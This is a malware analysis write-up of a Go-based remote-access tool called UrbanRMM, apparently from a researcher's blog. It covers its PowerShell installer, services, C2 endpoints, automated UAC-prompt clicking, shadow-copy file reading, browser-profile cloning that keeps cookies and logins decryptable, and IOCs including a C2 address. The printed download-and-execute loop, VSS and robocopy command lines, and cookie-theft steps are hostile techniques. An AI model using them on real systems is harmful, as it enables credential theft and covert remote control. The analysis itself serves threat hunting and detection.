An interesting (for once unobfuscated) powershell file with the name install.ps1 was identified by the automatized scans of my malware collector. So the investigation of this initial loader was done fast and it was clear that it downloads and installs more interesting artifacts, which were not investigated that fast as it was written in golang that is (even with AI use) annoying. The manual download and analysis of these showed an interesting RMM tool written in Golang.
Summary of Behaviour
- An unobfuscated powershell script downloads 3 Golang executables and a C2 configuration. The script is funnily not obfuscated at all.
- Three Go (go1.27.4) Windows x64 binaries whose embedded Go build info declares the module path
github.com/urbanrmm/urbanrmm(version(devel), i.e. built from local source):cmd/agent,cmd/watch,cmd/stream. The module path is a build-time label. Neither a user nor a repository with that name could be found during OSINT investigation. - No C2 address is embedded. Servers are read at runtime from
agent.json(containingservers, enroll key, installpath). If the file is missing, the agent writes a template whose only server ishttp://localhost:8880. - Persistence:
urbanagent.exe -installcopies the binaries toC:\ProgramData\UrbanRMM\and creates two auto-start services withsc.exe(UrbanRMMAgent,UrbanRMMWatch), each with failure actionsrestart/5000/restart/15000/restart/60000. - Watchdog:
urbanwatch.exechecks the state ofUrbanRMMAgentevery 15 s and runssc.exe start UrbanRMMAgentwhen it isstoppedorstop-pending. - Remote commands (agent): 16 command type strings in
main.handleCommandin the agent were implemented in the agent:ping,shell.exec(cmd.exe / powershell.exe),file.list,file.get,file.put,file.op(mkdir/delete/rename),clip.get,clip.set,sys.processes,sys.kill,sys.services,sys.service,sys.apps,uac.consent,agent.uninstall.backstage.start/stop/execreturn a fixed error in the agent and are implemented in the streamer. - UAC consent:
uac.consentopens the current input desktop, switches the thread to it, enumerates windows owned by a process whose image name isconsent.exe, and sendsBM_CLICKto the child control with dialog ID 6. When opening the input desktop fails, the agent starts a copy of itself with-uacconsent <file>in another session, using a duplicate of its own process token with the session ID changed. - Shadow-copy file server: the agent serves the named pipe
\\.\pipe\urbanrmm-lockcopy. Per request it creates a shadow copy through PowerShell/CIM (Win32_ShadowCopy.Create), reads the requested files from it, returns them over the pipe and deletes the shadow copy withvssadmin delete shadows /shadow=<id> /quiet. Paths must be inside the profile directory of the user who owns the client process. - Streamer start: the agent’s supervisor starts
urbanstream.exein a user session withCreateProcessAsUserW, using a duplicate of the agent’s own process token withTokenSessionIdset to the target session. It restarts the streamer when it is not running or its heartbeat file is older than 12 s. - Streamer: creates a desktop named
UrbanBackstage, connects to/api/agent/streamover WebSocket, starts a fixed list of Windows tools on that desktop on request, and implements a browser-profile clone. The clone finds running browsers via CIM, copies the profile withrobocopyto%LOCALAPPDATA%\UrbanRMM\browser-clone\<timestamp>, requests locked files from the agent’s pipe, editsLocal State, and starts the browser with the cloned profile onwinsta0\UrbanBackstage. - Uninstall: stops the streamer, kills recorded Backstage PIDs, writes
%TEMP%\urban-del.cmd(deletesC:\ProgramData\UrbanRMM, logs toC:\Users\Public\urban-del.log, deletes itself), runs it, then runssc delete/sc stopfor both services.
The C2 information is given in a separate file called agent.json and it’s indicators are in the IOC section at the bottom of this article. This json file is also downloaded by our powershell installer script.
The Installer
The installer powershell file was rather trivial and well documented (AI-Generated?!). The screenshot is covering the first few lines and already shows a lot of indicators, such as staging server and campaign/key for this artifacts download.

As visible, the installer checks if the process is running as privileged account and later goes on by trying to run itself as administrator if the checks result is false. This is needed because the agent’s installation creates services that need this privilege level.
After the installer runs as administrator the download and installation of the binaries and services starts:
$files = [ordered]@{
'agent.json' = "$base/api/deploy/$key/agent.json"
'urbanagent.exe' = "$base/api/deploy/$key/files/urbanagent.exe"
'urbanwatch.exe' = "$base/api/deploy/$key/files/urbanwatch.exe"
'urbanstream.exe' = "$base/api/deploy/$key/files/urbanstream.exe"
}
foreach ($name in $files.Keys) {
Invoke-WebRequest -UseBasicParsing -Uri $files[$name] -OutFile (Join-Path $stg $name)
}
After the files are downloaded the agent with it’s plugins is installed with following line:
& "$stg\urbanagent.exe" -install -config "$stg\agent.json"
The Agent and it’s Components
To make further explanations easier and the names less confusing, here’s an overview of the workings of these different parts of this application:

In this specific installation, all components are installed into: C:\ProgramData\UrbanRMM\.
Lifecycle overview of the Components
The following is the lifecycle of the identified components and their possibilities:
- Install. The operator runs
urbanagent.exe -installwith admin rights. It copies itself and the two workers toC:\ProgramData\UrbanRMM\, writesagent.json, and creates and starts both services. - Persist. The SCM starts both services at boot.
UrbanRMMWatchrestarts the agent whenever it stops (details below). - Enrol. The agent registers with the C2 using
enrollKey, receives adeviceIdand token, and saves them toagent-state.json. - Operate. The agent long-polls for commands and runs them. The available commands are described below in “The Agent” section.
- Stream. The agent starts
urbanstream.exein the user’s session and keeps it running. The streamer reads the same config and state files and opens the WebSocket to the C2 Server. - Clone browsers. On a
backstage.cloneBrowsercommand the streamer copies the browser profiles and asks the agent, over the pipe, for VSS copies of locked files. - Remove.
agent.uninstall(remote) or-uninstalldeletes the services and starts a self-deleting batch file.
The Agent
Following sections describe the different capabilities of the core agent.
Command-line modes (main.main)
| Flag | Behaviour |
|---|---|
-config <path> (default agent.json) | Loads config: servers[], enrollKey, tlsInsecure, stateFile. If the file is missing, it writes a template and prints “created %s – fill in servers + enrollKey, then rerun”. The template’s default server is http://localhost:8880, a placeholder and not an IOC |
-install | “install agent + watchdog (watcher) + streamer as auto-start services and exit” |
-service | Runs under the Service Control Manager as UrbanRMMAgent |
-uninstall | “remove agent + watchdog services, streamer and files, and exit” |
-uacconsent <file> | Internal helper mode: “click Yes on a UAC prompt in THIS session, write result to the file, exit” |
Log prefix: [agent] . Debug environment variable: URBAN_UAC_DEBUG.
Installation and persistence (main.installServices)
- Stops any existing
UrbanRMMWatchandUrbanRMMAgentservices and the streamer, then waits until they have stopped. - Creates
C:\ProgramData\UrbanRMM\and copiesurbanagent.exeinto it. It also copiesurbanwatch.exeandurbanstream.exeif they are located next to the installer. - Writes
C:\ProgramData\UrbanRMM\agent.jsonwithstateFile=C:\ProgramData\UrbanRMM\agent-state.json. - Creates two auto-start services through
sc.exe(create … start=auto, plusfailure … reset= …restart actions; the installer reports “auto-start, crash restart, boot autostart”):UrbanRMMAgent– “UrbanRMM Agent” –"C:\ProgramData\UrbanRMM\urbanagent.exe" -config "C:\ProgramData\UrbanRMM\agent.json" -serviceUrbanRMMWatch– “UrbanRMM Watchdog” –"C:\ProgramData\UrbanRMM\urbanwatch.exe" -config "C:\ProgramData\UrbanRMM\agent.json" -service
- Starts the watchdog and then the agent. Both run as LocalSystem.
C2 protocol
| Endpoint | Purpose |
|---|---|
POST /api/agent/register | Enrolment with enrollKey. Sends hostname, username, os, version, av (Defender status from Get-MpComputerStatus) |
POST /api/agent/heartbeat | Keep-alive with idleSeconds (user idle time). The server replies with nextIntervalMs and can send newServerUrl to move the agent to another C2 |
/api/agent/wait | Long-poll for queued commands |
/api/agent/commands/<id>/result | Command results (ok, exitCode, output, truncated) |
/api/agent/transfers/<id> | File upload and download |
/api/agent/events | Event reporting |
| Headers | Content-Type: application/json, Authorization: Bearer <token>, X-Device-ID, Idempotency-Key / X-Idempotency-Key |
- Every URL in
servers[]is tried in turn (“fell back to %s”). tlsInsecureturns off certificate checks, so self-signed C2 certificates work.- If the token is rejected, the agent re-enrolls (“token rejected – re-registering”, “device not found (re-enroll)”).
- The
deviceIdandtokenare saved inagent-state.json, which the streamer also reads.
Remote command set (main.handleCommand / cmd*)
The type string is matched by length (jump table for lengths 4–15) followed by 8/4/2/1-byte immediate compares. Example: shell.exec = cmp [rdx], 0x78652E6C6C656873 (“shell.ex”) + cmp word [rdx+8], 0x6365 (“ec”).
Details and potential clarifications about these commands are described in the table.
| Type | Dispatch | Verified behaviour |
|---|---|---|
ping | inline | returns pong |
shell.exec | main.shellExecAsync → main.runShell | see section below |
file.list | gowrap1 → cmdFileList | calls os.ReadDir; result fields name, isDir, size |
file.get | gowrap3 → cmdFileGet | calls os.Stat, os.OpenFile, main.putTransfer (uploads the file to the server) |
file.put | gowrap4 → cmdFilePut | calls os.MkdirAll (parent dir), main.getTransferToFile (downloads from the server to the path) |
file.op | gowrap2 → cmdFileOp | payload action + path: mkdir → MkdirAll(path, 0755); delete → RemoveAll(path) if it exists; rename → os.Rename(path, newPath); anything else → “unknown action %q” |
clip.get | gowrap5 → cmdClipGet | winapi.ClipboardGet: OpenClipboard, GetClipboardData, GlobalLock/GlobalUnlock, CloseClipboard |
clip.set | gowrap6 → cmdClipSet | winapi.ClipboardSet: OpenClipboard, EmptyClipboard, GlobalAlloc, GlobalLock/GlobalUnlock, SetClipboardData, CloseClipboard; string “clipboard text capped at 1MB” present |
sys.processes | gowrap7 → cmdProcesses | winapi.Processes: CreateToolhelp32Snapshot, Process32FirstW/Process32NextW, OpenProcess, QueryFullProcessImageNameW, K32GetProcessMemoryInfoowner via: winapi.processUser (OpenProcessToken, GetTokenInformation, LookupAccountSidW). Result fields include pid, parent, memKb, user |
sys.kill | gowrap8 → cmdKill | strconv.Atoi on payload, winapi.Processes, winapi.KillPID (OpenProcess, TerminateProcess) |
sys.services | gowrap9 → cmdServices | winapi.Services: OpenSCManagerW + EnumServicesStatusExW (servicesDirect), also servicesViaSC, and start type read from the registry (serviceStartTypeByName: RegOpenKeyExW, RegQueryValueExW) |
sys.service | gowrap10 → cmdService | winapi.ServiceAction: OpenSCManagerW, OpenServiceW; action stop → ControlService, start → StartServiceW, restart → stop then start; anything else → “unknown service action %q” |
sys.apps | gowrap11 → cmdApps | winapi.InstalledApps: enumerates SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall under HKLM (64-bit view, KEY_WOW64_64KEY), HKLM (32-bit view, KEY_WOW64_32KEY) and HKCU (RegOpenKeyExW, RegEnumKeyExW, RegQueryValueExW). error “no uninstall keys readable” |
uac.consent | gowrap12 → cmdUACConsent | see section below |
agent.uninstall | gowrap13 → cmdUninstall | payload files == "1" → main.fullUninstall(…, files), then os.Exit(0) |
backstage.start, backstage.stop, backstage.exec | inline | returns the error “screen stream offline – no user session connected at the device (is anyone logged on?)” |
| other | – | “unknown command type %q” |
All handlers except ping, shell.exec and the backstage.* branch run in a new goroutine (runtime.newproc). Errors are reported as event type <type>.error (main.reportEvent) and through main.postResult.
uac.consent (main.cmdUACConsent, winapi.UACConsent, main.uacViaConsoleSession)
- If
URBAN_UAC_DEBUGis set, a global logger function used bymain.uacLogis replaced. The stringC:\ProgramData\UrbanRMM\uac.logis present. - Direct attempt:
winapi.UACConsentin the agent process. - If the direct attempt returns the “cannot open the input desktop” error,
main.uacViaConsoleSessionruns:- result file
C:\ProgramData\UrbanRMM\urban-uac-<RandHex(6)>.txt - starts
"<own exe>" "-uacconsent" "<file>"viawinapi.LaunchInUserSession, waits up to 10 s - reads the file:
ok:→ success,err:→ error; a missing file gives “consent helper produced no result (no prompt showing?)” - the result file is removed by a deferred function (
uacViaConsoleSession.deferwrap1)
- result file
winapi.UACConsent:
GetCurrentThreadId→GetThreadDesktop(saved, restored and closed via defer).OpenInputDesktop. On failure: “cannot open the input desktop: %w: %w”.SetThreadDesktop(<input desktop>). On failure: “SetThreadDesktop(secure) failed”.EnumWindowscallback (UACConsent.func2):GetWindowThreadProcessId→OpenProcess(0x1000 PROCESS_QUERY_LIMITED_INFORMATION)→QueryFullProcessImageNameW. The first window whose image base name isconsent.exeis selected (winapi.isConsentProcess).EnumChildWindowson that window (UACConsent.func3): the first child whoseGetDlgCtrlIDis6receivesSendMessageW(hwnd, 0x00F5 BM_CLICK, 0, 0).- Return values: “clicked Yes on the UAC prompt”, or the errors “UAC prompt found but no Yes button” / “no UAC prompt is currently showing”.
This is interesting as it shows an automatized clicking of the yes-button on an UAC-prompt. Remark: I didn’t test out if the behaviour works correctly.
shell.exec (main.shellExecAsync, main.runShell)
- Payload
cmdis required.timeoutis in seconds (default 60 s, maximum 600 s). shell=cmdorbat→%SystemRoot%\System32\cmd.exe /D /Q /C <cmd>shell=powershell,psor empty →%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -ExecutionPolicy Bypass -Command <cmd>- any other value → “unknown shell %q”
%SystemRoot%falls back toC:\Windows.- Runs with
exec.CommandContext. Partial output is posted every 500 ms; the final result includes the exit code. On timeout the message is “timeout after %s – process killed”. Events:shell.exec,shell.exec.failed,shell.exec.error.
The lock-copy pipe server (Browser Copy functionality described in the Streamer section)
When a browser holds a file open, robocopy can’t read it – so the clone asks this agent to grab a Volume Shadow Copy (VSS) snapshot instead. main.lockCopyServer and its handlers (main.lcHandleRequest, main.lcValidatePath, main.lcVSSCreate) run that service over a named pipe. Because it hands back the raw bytes of sensitive files like cookie and login databases, the whole design is built around only ever serving them to a caller that’s already entitled to read them.
The pipe and its security descriptor
The server listens on \\.\pipe\urbanrmm-lockcopy. Its access control is locked down with a self-relative security descriptor assembled byte by byte in main.lcBuildRelativeSD (then wrapped in a 0x18-byte SECURITY_ATTRIBUTES struct). The result is:
- Revision 1, control
0x8004(SE_SELF_RELATIVE | SE_DACL_PRESENT), no SACL. - Owner = Group =
S-1-5-32-544(BUILTIN\Administrators). - DACL (revision 2, 3 ACEs, all
ACCESS_ALLOWED, flags0, mask0x10000000=GENERIC_ALL):S-1-5-18(SYSTEM),S-1-5-32-544(Administrators) andS-1-5-4(INTERACTIVE).
In short, only SYSTEM, administrators and the interactive user can open the pipe at all.
Per-connection checks
Each connection gets a 60-second timeout (time.AfterFunc) so a stuck client can’t hold the server open. The caller’s process ID is read straight from the pipe, and the server then works out which directory that caller is allowed to read from:
- the client process’s own profile directory (
winapi.ProcessProfileDir), or C:\Users\<user>, rebuilt fromwinapi.ProcessUserName.
If neither can be resolved, the client is rejected with “client rejected: not a local process this agent can open”.
The Request
The client sends one JSON line (capped at 0x10000 bytes):
{ "files": ["<path>", "…"], "maxTotal": 0 }
maxTotal is optional. If it’s missing or out of range it defaults to 0x20000000 (512 MiB), which caps how much data a single request can pull.
Path validation (lcValidatePath)
Every requested path is checked, each failure with its own distinct error, so a client can never trick the agent into reading a file outside the caller’s own profile:
- must be non-empty
- must not start with
\\– “UNC/device paths are not accepted” - must be absolute
- must be a drive-letter volume
- must have no
:after the drive letter – “alternate data streams are not accepted” - must sit inside the allowed root – “outside your own profile”
Taking the snapshot (lcVSSCreate)
For each volume involved, the agent shells out to PowerShell (120 s timeout) to create a shadow copy. It first tries the ClientAccessible context and falls back to NoWriters if that fails:
$ErrorActionPreference='Stop';$ctx='ClientAccessible';$r=Invoke-CimMethod -ClassName Win32_ShadowCopy -MethodName Create ` -Arguments @{Volume='<X:\>';Context=$ctx};if ($r.ReturnValue -ne 0) { $ctx='NoWriters'; $r=Invoke-CimMethod -ClassName Win32_ShadowCopy -MethodName Create ` -Arguments @{Volume='<X:\>';Context=$ctx};}if ($r.ReturnValue -ne 0) { Write-Output ('ERR ' + $r.ReturnValue); exit 1};$sc=Get-CimInstance -ClassName Win32_ShadowCopy -Filter "ID='$($r.ShadowID)'";Write-Output ('OK ' + $r.ShadowID + ' ' + $sc.DeviceObject)
On success the script prints OK <id> <DeviceObject>, which the agent parses to find the snapshot’s device path and then reads each requested file out of it.
Cleanup (lcVSSCreate.func1)
Once the files are read, the snapshot is deleted (60 s timeout):
vssadmin delete shadows /shadow=<id> /quiet
If the delete fails it’s logged as “lockcopy: snapshot %s delete: %v (%s)” – the read still succeeds, this just flags a leftover snapshot.
The Reply
The server replies with a single JSON line describing what happened, immediately followed by the raw bytes of every file that was read successfully, back to back:
{ "ok": true, "via": "vss", "error": "", "results": [ { "path": "", "ok": true, "size": 0, "error": "" } ]}
A successful run is logged as “lockcopy: served %s (pid %d): %d file(s), %d bytes via %s”. If the files together exceed the cap, it fails with “total %d bytes exceeds the %d cap”. Any error is returned as a reply with ok: false via main.lcWriteError.
Streamer supervisor (main.streamSupervisor, main.spawnStream, main.readStreamPid)
- Runs only if
urbanstream.exeexists next to the agent executable. - Ticker 10 s. Reads
stream.pidfrom the config directory. The streamer writes"<pid> <unix seconds>\n"there (main.writeHeartbeatin the streamer). - If the recorded PID is the running streamer and the heartbeat is ≥ 12 s old, logs and calls
winapi.KillPID. - If no streamer is running and ≥ 30 s have passed since the last start, calls
main.spawnStream(section 4). Logs “stream supervisor: streamer started (session=%d console=%d)” or “stream supervisor: cannot start a user-session streamer: %v”.
Uninstall (main.cmdUninstall, main.fullUninstall, winservice.Remove)
If the uninstall command is called the actions are taken in the following order:
- Event
agent.uninstall(“files=%v services removing”). main.stopStream.main.killBackstageToolsreadsbackstage.jsonfrom the config directory, callsKillPIDfor each recorded PID, then deletes the file.- If
filesis true and the agent’s own directory equalsC:\ProgramData\UrbanRMM(case-insensitive), it writes<os.TempDir()>\urban-del.cmd(mode 0644) and startsC:\Windows\System32\cmd.exe /D /C <that file>(SysProcAttrCreationFlags = 8). Otherwise it logs “agent: guard skipped cleanup (not the installed image)”. - Event
agent.uninstall.done, sleep 1.5 s. winservice.Remove("UrbanRMMWatch"), thenwinservice.Remove("UrbanRMMAgent"). Each runssc.exe delete <name>, thensc.exe stop <name>.
Batch file contents:
@echo off
echo helper_started> C:\Users\Public\urban-del.log
ping -n 4 127.0.0.1 >nul
rd /s /q "C:\ProgramData\UrbanRMM" 2>> C:\Users\Public\urban-del.log
ping -n 6 127.0.0.1 >nul
rd /s /q "C:\ProgramData\UrbanRMM" 2>> C:\Users\Public\urban-del.log
ping -n 6 127.0.0.1 >nul
rd /s /q "C:\ProgramData\UrbanRMM" 2>> C:\Users\Public\urban-del.log
del /f /q "%~f0"
The Watcher
As we know the functionality and the workings of the main agent, the following section is covering the functionality of the watcher itself, which is rather trivial.
Functions: main.main, main.loop, plus package internal/winservice (Run, State, sc, …).
- Flags (
main.main):-service(“run as a Windows service (started by the SCM)”) →winservice.Run("UrbanRMMWatch", …).-configis declared (defaultagent.json) but its value is not used. Log prefix[watch]. - Loop (
main.loop): 15 s timer (time.NewTimer(15000000000)). Each iteration callswinservice.State("UrbanRMMAgent"):missing→ log once, keep loopingstoppedorstop-pending→winservice.sc("start", "UrbanRMMAgent"), which runssc.exe start UrbanRMMAgent. On error: log “start %s: %v”.
- No network code is referenced from
main.*.
The Streamer
As easy and short the last section was, this one’s going to be the opposite as it handles some more complicated techniques and functionalities but bear with me as we uncover it’s inner functionality.
Start-up (main.main, main.loadConfig, main.writeHeartbeat)
- Flags:
-config(defaultagent.json)-log <file>(“also append log output to this file (the agent launches this worker with no console)”)
- Log prefix
[stream]. - Writes
stream.pidin the config directory ("<pid> <unix seconds>\n", mode 0644) and starts a goroutine (main.main.func1). - Loop:
- reads the state file
- while
deviceIdortokenis empty, logs “waiting for agent registration (%s)” and sleeps 2 s - otherwise runs
main.session; sleeps 2 s after it returns
WebSocket channel (main.dial)
- For each candidate server, the scheme is set to
wssif it washttps, otherwisews. The path is set to/api/agent/stream, with query parametersdeviceIdandtokenfrom the state file. - Connection:
gorilla/websocket (*Dialer).DialContext. IftlsInsecureis set, a new Dialer is used with a 45 s handshake timeout and a TLS config with one boolean field set to 1. - Errors: “%s: http %d”, “%s: %v”, “no servers configured”. When a different server answers: “fell back to %s”.
- The functions
main.sendHello,main.writeFrame,main.writeJPEG,main.injectandmain.injectBackstageexist.
Backstage commands (main.handleBscmd)
Called from main.session. Type strings compared:
| Type | Handler |
|---|---|
backstage.start | main.backstageStart |
backstage.stop | main.backstageStop |
backstage.exec | main.backstageExec |
| other | “unknown backstage command %q” |
backstage.start: winapi.CreateDesktop("UrbanBackstage"), winapi.BsSetTaskbarTools(bsToolList()), winapi.StartBackstageBackground, then writes state via main.writeBackstage. Result text “backstage desktop active”.
backstage.exec requires payload tool and an active Backstage state (main.readBackstage). Tool browserclone → main.startBackstageBrowserClone (described in section below). Any other tool → main.launchBackstageTool. Result “tool=%s pid=%d”.
Tools (main.resolveTool)
%SystemRoot% falls back to C:\Windows. Program Files paths come from the environment, with fallbacks.
| Tool key | Command |
|---|---|
cmd | %SystemRoot%\System32\cmd.exe /k |
powershell | %SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NoExit |
notepad | %SystemRoot%\System32\notepad.exe <payload "file"> |
taskmgr | %SystemRoot%\System32\taskmgr.exe |
regedit | %SystemRoot%\regedit.exe |
explorer | %SystemRoot%\explorer.exe |
devmgmt | %SystemRoot%\System32\mmc.exe devmgmt.msc |
services | %SystemRoot%\System32\mmc.exe services.msc |
compmgmt | %SystemRoot%\System32\mmc.exe compmgmt.msc |
diskmgmt | %SystemRoot%\System32\mmc.exe diskmgmt.msc |
eventvwr | %SystemRoot%\System32\eventvwr.exe |
msinfo32 | %SystemRoot%\System32\msinfo32.exe |
resmon | %SystemRoot%\System32\resmon.exe |
cleanmgr | %SystemRoot%\System32\cleanmgr.exe |
appwiz | %SystemRoot%\System32\control.exe appwiz.cpl |
firewall | %SystemRoot%\System32\control.exe firewall.cpl |
users | %SystemRoot%\System32\netplwiz.exe |
browser | first existing of %ProgramFiles(x86)% / %ProgramFiles% \Microsoft\Edge\Application\msedge.exe, then \Google\Chrome\Application\chrome.exe, with --user-data-dir="%LOCALAPPDATA%\UrbanBrowser" <payload "url"> |
| other | “unknown tool %q” |
Started PIDs are recorded in main.recordBackstagePid function. The agent reads these from backstage.json during uninstall.
Cloning a running browser
main.cloneBrowserRun and its helpers make a throwaway copy of a user’s live browser profile – cookies, logins, sessions and all – so it can be launched independently without touching the original. Here’s how it works, step by step.
1. Find and pick a browser (main.pickBrowserToClone, main.scanBrowserProcs)
First it looks for running browsers. A PowerShell call (25 s timeout) enumerates processes whose name matches any of the supported browsers and returns their name, executable path, command line and session ID as JSON:
powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue';Get-CimInstance Win32_Process -Filter \" Name='chrome.exe' OR Name='msedge.exe' OR Name='brave.exe' OR Name='vivaldi.exe' OR Name='chromium.exe' OR Name='yandex.exe' OR Name='browser.exe' OR Name='opera.exe' OR Name='firefox.exe' OR Name='waterfox.exe' OR Name='librewolf.exe' OR Name='palemoon.exe' OR Name='floorp.exe'\" |Select-Object Name,ExecutablePath,CommandLine,SessionId |ConvertTo-Json -Compress"
To locate the profile on disk, main.cloneUserDataDir pulls the --user-data-dir path out of the process command line using the regex (?i)--user-data-dir(?:=|\s+)("(?:[^"]*)"|\S+). If there’s no match, it falls back to the default location via main.familyDataDir.
2. Create the destination
The clone is written to:
%LOCALAPPDATA%\UrbanRMM\browser-clone\<timestamp>
(falling back to C:\Users\Public if %LOCALAPPDATA% is unset), where <timestamp> is formatted as 20060102-150405. The directory is created with mode 0755, and the detected profile layout is logged as flat, gecko or standard.
3. Copy the profile (main.cloneCopyStep, main.robocopyClone)
Copying is done with robocopy, retried up to 3 times with a back-off of (attempt − 1) × 750 ms:
robocopy <src> <dst> /E /COPY:DAT /DCOPY:DAT /R:1 /W:1 /XJ /MT:8 /NFL /NDL /NJH /NP /XD Cache "Code Cache" GPUCache ShaderCache GrShaderCache DawnCache DawnGraphiteCache DawnWebGPUCache GraphiteDawnCache "Media Cache" Crashpad "Crash Reports" component_crx_cache "Optimization Guide Prediction Models" SwReporter CacheStorage ScriptCache /XF lockfile Singleton* parent.lock
The /XD and /XF lists skip cache directories and lock files, which are large and useless to copy. Any robocopy exit code above 7 is treated as a failure and logged as "robocopy exit %d: %s".
4. Clear leftover locks (main.clearCloneLocks)
Lock files that slipped through are removed from the clone so the copied profile can be opened cleanly:
- Gecko (Firefox-family): deletes
parent.lock,lockand.parentlock. - Everything else (Chromium-family): deletes
lockfileand anySingleton*files.
5. Recover locked essential files (main.cloneEssPairs)
Some files are essential to a working clone but are often locked by the live browser, so robocopy can’t read them. The clone verifies that each one made it across:
- Chromium:
Network\Cookies,Cookies,Safe Browsing Cookies,Login Data,Login Data For Account,Account Web Data,Web Data,Sessions\,Session_,Tabs_– plus their-journal/-wal/-shmvariants. - Gecko:
cookies.sqlite,places.sqlite,key4.db,logins.json,logins-backup.json,prefs.js,favicons.sqlite,formhistory.sqlite,permissions.sqlite,content-prefs.sqlite,xulstore.json,extensions.json,handlers.json,search.json.mozlz4,sessionstore-backups\recovery.jsonlz4,sessionstore-backups\previous.jsonlz4– plus their-wal/-shm/-journalvariants.
Any file from this set that robocopy failed to copy is requested from the agent over its pipe (main.lockCopyViaAgent), which reads it through a Volume Shadow Copy (VSS):
clone browser: %d locked file(s) need the agent's VSS copy: %s
The recovered files are patched back into the clone by main.patchLockedEssentials:
clone browser: VSS recovered %d locked file(s)
If an essential file still can’t be obtained, the clone fails with:
locked essential %s could not be cloned (%s)
6. Patch Local State (main.patchLocalStateDefault)
For Chromium profiles, the clone edits <clone>\Local State so the browser opens the right profile: it sets profile.last_used = <profile> and profile.last_active_profiles = [<profile>], then writes the file back with mode 0644. All other keys, including the os_crypt encryption key, are re-encoded unchanged, which is what keeps the copied cookies and logins decryptable.
clone browser: Local State patched (last_used=%s, os_crypt preserved)
7. Launch the clone (main.cloneLaunchArgs, winapi.SpawnOnDesktop)
Finally the clone is started on the winsta0\UrbanBackstage desktop, with the payload url appended to the arguments if one was supplied. The new process ID is stored via main.recordBackstagePid. The arguments depend on the detected layout:
- flat:
--user-data-dir="<clone>" --no-first-run --no-default-browser-check --start-maximized - Gecko:
--profile "<clone>" --no-remote --allow-downgrade - standard:
--user-data-dir="<clone>" --profile-directory="<profile>" --no-first-run --no-default-browser-check --disable-session-crashed-bubble --hide-crash-restore-bubble --restore-last-session --start-maximized
IOC’s
File hashes
| File | SHA-256 |
|---|---|
| install.ps1 | 2bf1aaa147e4d77e8e6d2268b011e7557d14f461d9e92c8c5700fe6021633fd1 |
urbanagent.exe | 16ccc80bdd6423e5062f8a592207fbf8a2abd0b783c26c3dd4bc4d80f7fc0a45 |
urbanwatch.exe | 4aa227a63345897a30362e275f9b4691afe6ee09de24b676a9b039d784cce79e |
urbanstream.exe | 0315f0f945ccec47f41d5c9fcd563973c17c2f8e93be951c2f043152087dc845 |
Host
| Type | Indicator |
|---|---|
| Service | UrbanRMMAgent, display name UrbanRMM Agent, binPath "C:\ProgramData\UrbanRMM\urbanagent.exe" -config "C:\ProgramData\UrbanRMM\agent.json" -service, start auto, failure actions restart/5000/restart/15000/restart/60000, reset 86400 |
| Service | UrbanRMMWatch, display name UrbanRMM Watchdog, binPath "C:\ProgramData\UrbanRMM\urbanwatch.exe" -config "C:\ProgramData\UrbanRMM\agent.json" -service, same start/failure settings |
| Directory | C:\ProgramData\UrbanRMM\ |
| File | C:\ProgramData\UrbanRMM\urban-uac-<hex>.txt |
| File | C:\ProgramData\UrbanRMM\uac.log (string present; writer not traced) |
| File | <TEMP>\urban-del.cmd, C:\Users\Public\urban-del.log |
| Directory | %LOCALAPPDATA%\UrbanRMM\browser-clone\<YYYYMMDD-HHMMSS>\ |
| Directory | %LOCALAPPDATA%\UrbanBrowser (--user-data-dir of the browser tool) |
| Named pipe | \\.\pipe\urbanrmm-lockcopy |
| Desktop | UrbanBackstage (winsta0\UrbanBackstage) |
| Command line | urbanagent.exe -uacconsent <path> |
| Command line | powershell … Invoke-CimMethod -ClassName Win32_ShadowCopy -MethodName Create … Context=$ctx with $ctx='ClientAccessible' / 'NoWriters' |
| Command line | vssadmin delete shadows /shadow=<id> /quiet |
| Command line | powershell -NoProfile -NonInteractive -Command "Get-MpComputerStatus | Select-Object AntivirusEnabled,AMRunningMode | ConvertTo-Json -Compress" |
| Command line | powershell … Get-CimInstance Win32_Process -Filter "Name='chrome.exe' OR Name='msedge.exe' OR …" | Select-Object Name,ExecutablePath,CommandLine,SessionId | ConvertTo-Json -Compress |
| Command line | robocopy … /E /COPY:DAT /DCOPY:DAT /R:1 /W:1 /XJ /MT:8 /NFL /NDL /NJH /NP /XD Cache "Code Cache" … /XF lockfile Singleton* parent.lock |
| Command line | browser with --user-data-dir="…\UrbanRMM\browser-clone\…" and --disable-session-crashed-bubble --hide-crash-restore-bubble --restore-last-session; Gecko --profile "…" --no-remote --allow-downgrade |
| Command line | sc.exe start UrbanRMMAgent with parent urbanwatch.exe |
| Environment variable | URBAN_UAC_DEBUG |
String in urbanwatch.exe | C:/Users/Administrator/Desktop/UrbanRMM/ |
Network
| Type | Indicator |
|---|---|
| URI | /api/agent/register, /api/agent/heartbeat, /api/agent/wait, /api/agent/commands/, /api/agent/events, /api/agent/transfers/ |
| URI | /api/agent/stream?deviceId=<id>&token=<token> (WebSocket, ws/wss) |
| Header strings | X-Device-ID, Idempotency-Key, X-Idempotency-Key |
| Version | 0.4.0 |
| C2 host | http[://]154.12.116.131[:]8880 |
| C2 port | 8880 |
| Enroll Key | URBAN-75b1b5c1-e561293f |
Im still working on the yara rule, that I will provide in an update to this post. I hope this helps some company hunt or prevent the usage of the tool in their environment.
R4ruk
